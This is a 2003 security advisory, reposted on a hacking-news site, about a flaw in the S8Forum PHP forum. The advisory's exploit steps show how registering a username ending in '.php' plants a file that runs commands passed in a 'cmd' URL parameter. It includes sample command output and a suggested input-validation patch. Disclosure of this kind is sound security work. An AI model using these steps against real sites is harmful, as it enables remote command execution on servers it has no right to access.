Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » A security vulnerability in S8Forum

A security vulnerability in S8Forum

by Nikola Strahija on January 8th, 2003 The programm doesn't check user's intries, like user name, email..etc!. This bug able us to run some commands on the server.


- Product : S8Forum
- Tested version : 3.0 maybe other versions.
- Website : http://www.kellishaver.com/
Vendor Status: not informed yet !!!
- Problem : A security vulnerability in S8Forum

PROBLEM :
=========

This forum writen by PHP. It doesn't use database,
instead that it creates new file with the name of the
registered user then save it in (users) directory
without extention.

The programm doesn't check user's intries, like user
name, email..etc!. This bug able us to run some
commands on the server!.

EXPLOIT :
=========

- go to Register

- insert in Username:
any_name.php
NOTE: .php :)

- in password : any_pasword.

- in E-Mail:



or any code :(

- now go to this URL:

http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a

------ out ---

evil.php:c4ca4238a0b923820dcc509a6f75849b Linux
xxx.xxx.net 2.4.18 #2 SMP Mon Nov 18 16:50:02 CST 2002
i686 unknown

------ out ---



SOLUTION :
==========

open register.php

- step1 find this lines:


case 'registration_confirm':
// what to do with the form data

include("settings/header.php");


- The next step add below:


if(!eregi("^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]+)*(.[a-z]{2,3})$", $email) && $email !=
"") {
echo "

Please
enter a valid email address. Press the back button and
correct it.

";

}
if(strstr($uname, "."))
echo "

Please
enter a valid username. Press the back button and
correct it.

";
break;



NOTE :
======
S8Forum author has been notified on Sun 17/11 2002.
Another mail was sent on 22/12 2002. No answer so far,
no new release, no patch to fix these issues.



PROVIDED BY :
=============
Nasser.M.Sh
[email protected]


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »